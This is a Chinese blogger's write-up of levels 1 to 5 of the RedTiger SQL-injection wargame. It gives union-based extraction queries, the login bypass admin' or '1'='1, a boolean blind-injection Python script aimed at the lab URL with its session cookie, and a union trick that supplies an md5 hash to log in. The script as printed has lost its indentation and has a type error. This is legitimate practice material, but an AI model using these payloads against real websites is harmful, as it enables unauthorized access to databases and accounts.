感覺會的東西太少了，以后要多練習，多寫博客。要堅持學習，一定不能放棄，為夢想奮斗。
redtiger 這個平台早就開始做了，但是才做到第4關。。。。
第一關：
打開題，
先隨便試，后來發現點擊 Category 后的1 可以注入，
然后就是注入了，構造cat=1'' 還報錯，估計是數字型注入，然后構造cat=1 order by 1猜列數，得出是4個。
cat=1 union select 1,2,3,4 發現回顯3，4。
我用information_schema這個庫，但是不行,仔細看頁面發現已經給了表名，學網安也需要視力啊。
直接cat=1 union select 1,2,password,4 from level1_users
用戶名也給出了，然后就登錄進入第二關吧！
第二關：
看題想到萬能密碼，我試了很多次都登不上，看了別人的操作，感覺我輸入的和他一樣啊，咋就進不去了。。。。
直接粘貼復制的萬能密碼登錄。
username=admin' or '1'='1 password='or 1=1#
第三關：
我在這關采坑時間最長，翻遍了所有人的writeup，就是不行。。。后來才知道問題所在。
提示是，報錯注入。點擊TheCow ，看到url明顯經過加密，函數報錯。。。也不知道怎么加密，就試了數組 usr[]=.......
進入這個文件，發現加密解密函數
然后構造 注入語句 加密就可以了。（不知道是php版本不同還是linux和windows不同導致的隨機數不同，加密的結果也不同，我就踩了這個坑。）
這個網址有詳細注入過程：https://www.jianshu.com/p/84d543cff8c0
第四關：
進入第四關，發現注入只會回顯0或1，應該是布爾盲注。
猜一下keyword長度，id=1 and length(keyword)= 得出21.
構造url語句 id=1 and ascii(substr((keyword,1,1)))=
盲注腳本：
import string
from re import *
from urllib.request import *
answer=""
char=string.printable
login ={'Cookie':'level4login=there_is_no_bug'}
url="https://redtiger.labs.overthewire.org/level4.php?id=1%20and%20ascii(substr((select%20keyword%20from%20level4_secret),{0},1))={1}"
for q in range(1,22):
for i in range(1,127):
test=(url .format(q,i))
request=Request(test,None,headers=login)
res=urlopen(request)
s=res.read().decode()
if(findall("Query returned 1 rows.",s)):
print("{0} ".format(q)+i)
answer+=i
break
print(answer)
跑出答案，進入第五關。
第五關：
看提示，過濾了幾個函數，而且不是盲注，bapass 登錄，密碼是md5加密。
先隨便輸一個賬號密碼，返回 user not found。
然后構造一個：
返回，login failed。可見 username已經繞過。然后order by查詢，發現不可以。直接union select 試吧。
得出字段是2。
構造：username=' union select 1,'c81e728d9d4c2f636f067f89cc14862c'#
password=2
過關。。。。
（后5關再寫另一篇）